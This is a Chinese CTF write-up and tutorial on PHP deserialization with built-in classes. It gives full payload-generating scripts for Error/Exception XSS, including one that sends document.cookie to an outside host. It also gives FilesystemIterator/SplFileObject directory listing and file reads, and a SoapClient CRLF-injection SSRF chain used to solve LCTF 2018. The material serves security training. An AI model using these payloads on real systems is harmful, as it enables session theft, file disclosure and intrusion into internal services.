反序列化篇之PHP原生类的运用

PHP原生类的运用

最近比赛打的挺多的,也从中学到了很多有意思的新东西,比如说PHP的原生类利用;之前我就很少用过它,但最近通过连续比赛中的几道CTF题目让我发现了它非常神奇的用法,这肯定得来总结总结对吧哈哈哈

PHP的原生类是啥

PHP原生类就是在标准PHP库中已经封装好的类,而这里面有一些类可以实现目录遍历,文件读取,发起请求等;我们就可以通过实例化这些类完成这些操作了,我们先来php手册看看PHP标准库 (SPL):https://www.php.net/manual/zh/book.spl.php

但其中只有一小部分是我们可以利用的,一般比较常见的如下:

1
2
3
1.Error/Exception
2.FilesystemIterator/SplFileObject
3.SoapClient

接下来我们主要就从这三个方面来研究它的利用思路

利用Error/Exception实现XSS

Error类是在php7下存在的一个内置类,是所有PHP内部错误类的基类,那这和XSS和什么关系呢?那是因为这个类中有一个内置方法,叫做__toString()的魔术方法,我们都知道当把对象当成字符串的时候它就会自动调用这个方法,而它会将Error以字符串的形式表达出来;那么假如有一个echo将它输出出来,而输出内容是我们是我们可以控制的,那我们就可以用<script>标签来执行js代码了

1
2
3
4
5
<?php
highlight_file(__FILE__);
$a = $_GET[1];
echo unserialize($a);
?>

比如说上面这个例子,就将反序列化后的对象直接做了输出,那我们就可以利用Error类中__toString()实现XSS

1
2
3
4
<?php
$a = new Error("<script>alert(1)</script>");
echo urlencode(serialize($a));
?>

image.png

直接用生成的这个payload就行了,成功弹窗

image.png

我们去查看一下源代码,就会明白它弹窗的原因:

image.png

<script>标签直接被嵌入了进去,那里面的内容自然就会被当成js代码执行咯

Exception类和Error类类似,用法原理都差不多,这里就不赘述了,只不过Exception类无论是在php5还是php7的环境下都能使用

image.png

例题解析—BJDCTF 2nd xss之光

前面是一个git源码泄露,我们用工具down下来之后直接看到index.php源码:

1
2
3
<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);

这和我们前面讲的就很像了,我们直接用php5和php7都适用的Exception类,利用window.location.href='url'实现恶意跳转就好了,exp如下:

1
2
3
4
5
<?php
$a = new Exception("<script>window.location.href='http://03a2443e-8a5f-41fe-83da-7e5819ead85b.node4.buuoj.cn:81/?'+document.cookie</script>");
$b = serialize($a);
echo urlencode($b);
?>

直接打进去,然后就可以在COOKIE里面找到flag了

目录遍历及文件操作

之前我们说过,某些PHP的原生类可以实现目录遍历,读取文件等操作,那我们就来看看具体是哪些,先来看一段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
highlight_file(__FILE__);
echo 'flag就在这个目录下的某个目录中的文件里';
echo '</br>';
class A{
public $class;
public $para;
public function __wakeup()
{
echo new $this->class ($this->para);
}
}
if(isset($_GET['a'])){
unserialize($_GET['a']);
}

很简单的一段的代码,没啥花里胡哨的。而且明确告诉了flag就在当前目录下的某个目录中,那我们肯定就要想办法遍历目录了,而这里面我们又正好可以控制实例化的类,那我们就去找找哪些原生类可以遍历目录,主要是下面三个吧:

1
2
3
DirectoryIterator: DirectoryIterator类提供了一个查看文件系统目录内容的简单接口。
FilesystemIterator: 文件系统迭代器。
GlobIterator: 与glob()类似的方式迭代文件系统。

这里面最好用的应该就是FilesystemIterator了,我们来看看它是咋个用的,其它两个用法可以自行百度哈:

image.png

可以看到里面提供了非常多的方法,我们可以通过这个看到文件的详细信息,但这里我们都是用不到的,我们只需要直接new FilesystemIterator('./'),创建一个当前目录下的迭代器就好了,但这里有局限性就是它只会列出第一个结果,如果需要多个结果需要用循环来遍历,这里肯定是做不到的,那我们就先看一个吧,我们先来构造exp:

1
2
3
4
5
6
7
8
<?php
class A{
public $class = 'FilesystemIterator';
public $para = './';
}
$a = new A();
echo serialize($a);
?>

跑出运行结果:O:1:"A":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:2:"./";},用这个直接去打

image.png

可以看到下一层目录名为flag,那我们继续往下遍历,看看flag目录里有啥,看到了flag.php

1
2
3
4
5
6
7
8
<?php
class A{
public $class = 'FilesystemIterator';
public $para = './flag';
}
$a = new A();
echo serialize($a);
?>

O:1:"A":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:6:"./flag";}

image.png

这时候我们就要想办法读取到flag.php中的内容了,这时候我们就去找找PHP原生类中有没有可以读取文件的,正好就找到一个:SplFileObject,用这个就可以读文件,但这个类读取文件内容是按行读取的,如果要读多行需要遍历,但这里用不到,我感觉ctf比赛中他就是故意把flag放第一行的:https://www.php.net/manual/zh/class.splfileobject.php

1
2
3
4
5
6
7
8
<?php
class A{
public $class = 'SplFileObject';
public $para = './flag/flag.php';
}
$a = new A();
echo serialize($a);
?>

用这个去打就可以拿到flag了

image.png

利用SoapClient实现SSRF

这应该是这篇文章的重头戏了,前面的内容说实话挺简单的,感觉也没啥操作的空间,但这个就不一样了,就很有意思哈哈哈

先来看看Soap是啥

SOAP,作为webService三要素(SOAP、WSDL、UDDI)之一,用来描述传递信息的格式,SOAP可以和现存的许多因特网协议和格式结合使用,包括超文本传输协议(HTTP),简单邮件传输协议(SMTP),多用途网际邮件扩充协议(MIME)。它还支持从消息系统到远程过程调用(RPC)等大量的应用程序。SOAP使用基于XML的数据结构超文本传输协议(HTTP)的组合定义了一个标准的方法来使用Internet上各种不同操作环境中的分布式对象。(以上来自百度百科)

看完了百度百科如此专业的解释,应该明白了大概意思,就是说这玩意儿可以发起请求,那么只要我们可以控制数据包中的内容,让它可以GET或者POST传参,那就可以发起SSRF了

而PHP中的SoapClient类,是用来创建soap数据报文,与wsdl接口进行交互的,我们可以去PHP官方手册里去看看对它的解释:https://www.php.net/manual/zh/class.soapclient.php

image.png

我们先来看它的构造方法,可以看到它的构造方法中有两个参数,第一个参数$wsdl用来指明是否为wsdl模式,关于wsdl模式是啥这里我就不展开讲了,想了解的朋友可以看看这篇文章:https://www.cnblogs.com/hujun1992/p/wsdl.html,一般来讲我们都不开这个模式的;而第二个参数$options需要传入一个数组,数组的格式就类似键值对,但这个键名是固定的,里面有很多选项可供我们选择,值是我们可以自定义的,不着急这个后面再讲;在wsdl模式的情况下,$options参数是可选的,也就是说可以没有;但在非wsdl模式下,就必须要设置locationuri选项,其中location是我们要将请求发送到的SOAP服务器的URL,也就是目标URL,而uriSOAP服务的目标命名空间,这个我认为不太重要,叫啥都不影响哈哈

而在SoapClient类中,还有一个我们非常熟悉的魔术方法,__call()方法,当调用类中不存在的方法时就会触发,当触发这个方法后,它就会向location中的目标URL发送一个soap请求

image.png

既然这个SoapClient类可以发起请求,而且URL我们也可以自己控制,那接下来我们就来向我们自己的服务器发起一个请求,然后监听该端口,看看会有什么反应

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
$class = 'SoapClient';
$wsdl = null;
$options = array('location' => 'http://yourip:6666','uri' => "arsenetang");
$a = new $class($wsdl,$options);
$a -> a();
?>

当我们按下回车键之后,服务器这边立马就有了反应,接收到了我们的请求,我们可以看到这是一个POST请求,而且数据包啥的我们也都可以看到

image.png

好了,既然可以发起请求了,我们就要想办法控制数据包中的内容了,毕竟发起这种请求没有任何意义,我们得想办法实现POST传参,将我们想要的参数传进去才行,这里就要提到我们前面说过的,参数$options里面的众多选项了,想看具体有哪些选项可以到手册里:https://www.php.net/manual/zh/soapclient.construct.php

image.png

发现这里面有一个很神奇的选项user_agent,用这个可以控制HTTP数据包中头部User-Agent的值,好耶,这意味着我们可以控制数据包,构造一个POST请求了,为啥呢?我们先来看看它发出的数据包是什么样子的:

image.png

我们来看看这个数据包,其中User-Agent被我设置为了WLLM,在它下面还有三个参数,其中SOAPAction就是我们前面设置的uri,不用管,而其它两个都是它自动生成的,我们也可以通过控制它们的值,让它们的值是正确的,那我们的数据包也就是正确的了;这时候就需要讲出我们的CRLF了,CRLF是啥?CRLF是回车换行(\r\n)(%0d%0a)的简称,在HTTP响应中,响应头之间就是用一个CRLF分隔,就像User-AgentContent-Type之间就是一个CRLF,而响应头和响应体之间是两个CRLF,而我们POST传参就属于请求体中的内容了

image.png

那通过CRLF,我们就可以完全控制数据包了,让它实现POST传参了,一般来说利用SoapClient进行SSRF攻击内网,然后配合CRLF构造出POST请求可以拓展我们的攻击面

例题解析—bestphp’s revenge

本来今年的极客大挑战有一道题恰好就用的这个方法,那道题才是构造POST传参,用那道题当例题更好,可惜现在比赛还没结束就放出WP不太好,所以说迫于无奈选了这道题,这道题好像是lcft2018 final的Web签到题,考点会多一些,首先看源码,index.php:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

flag.php

1
2
3
4
5
6
7
8
only localhost can get flag!
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
only localhost can get flag!

这道题主要考的是Session反序列化,SOAP+CRLF发起SSRF,然后是call_user_func函数的运用

其实这题感觉思路挺简单的,必须是用127.0.0.1来请求flag.php才能得到flag,其它的都不行,而这里是不能绕的,只能老老实实按他的要求用127.0.0.1去访问,所以说这里明显是一个SSRF;然后这儿也找不到别的东西来发起请求,只能想到用PHP原生类SoapClient中的__call()方法发起请求;但这里也没有unserialize()函数呀,可是这儿开启了session,而且有一个$_SESSION['name'] = $_GET['name'];可以直接传入session,都免去了条件竞争,就很容易想到利用处理器的差异实现Session反序列化,但这里它也没有设置处理器为php_serialize呀,这儿就要提到session_start函数了,感觉很神奇哈哈,在PHP7中,session_start()函数可以接收一个数组作为参数,而且可以覆盖掉php.ini中的session配置项,也就是说像我们传入一个session_start(array('serialize_handler'=>'php_serialize')),根据php7的特性就可以将session.serialize改成php_serialize了;那我们在哪里传入session_start呢?不是有call_user_func嘛,而且它的第二个参数还固定是$_POST数组,就正好;而call_user_func会将第一个参数当成函数,后面的参数当成函数中的参数,所以说我们只用将?f=session_start就行了,然后POST传入serialize_handler=php_serializeGETname变量传入我们序列化后的字符串,就可以了,现在开始构造exp,挺简单的我就直接写了:

1
2
3
4
5
<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,'user_agent' => "WLLM\r\nCookie: PHPSESSID=yyds\r\n",'uri' => "arsenetang"));
$payload = urlencode(serialize($attack));
echo '|'.$payload;

image.png

可能有的朋友会有疑惑,这里为什么要带上COOKIE呢,因为这里发起请求相当于就是这个COOKIE请求了http://127.0.0.1/flag.php这个页面,但请求了过后也没有回显,所以我们需要将浏览器中的COOKIE换成我们设置好的COOKIE就行了

这一步过后虽然我们想要的序列化的内容以及写入session中,但反序列化后并不能发起soap请求,因为前面我们说到了,他要调用类中不存在的方法时才能触发__call()发起请求,所以说我们需要调用一个SoapClient类中不存在的方法,这时候我们再一次瞄准了call_user_func,我们可以首先将f传成extract,这样就可以变量覆盖,将$_POST数组覆盖掉,然后我们再POST一个b=call_user_func,就可以将$b的值由implode变成call_user_func,那么相当于就是:

1
call_user_func('call_user_func',array('reset($_SESSION)','welcome_to_the_lctf2018'));

reset($_SESSION)是我们的SoapClient类对象,那么相当于就是调用了SoapClient类中不存在的welcome_to_the_lctf2018方法,这样就可以触发__call()方法发起soap请求了

image.png

然后我们将COOKIE一替换就好了

image.png

害不愧是lctf final的题,哪怕是签到题依然涉及了这么多考点,等到今年极客大挑战结束之后,我把那道题的WP放出来,就更能理解利用SoapClient类配合CRLF进行SSRF攻击啦,那道题就需要我们POST传参然后他将flag给我们弹回来

19岁的最后一篇文章写完啦,20岁继续努力吧哈哈哈

参考文章:

https://blog.csdn.net/qq_42181428/article/details/100569464

https://blog.csdn.net/mochu7777777/article/details/115276176

https://www.ajsafe.com/news/184.html

https://www.anquanke.com/post/id/153065#h2-1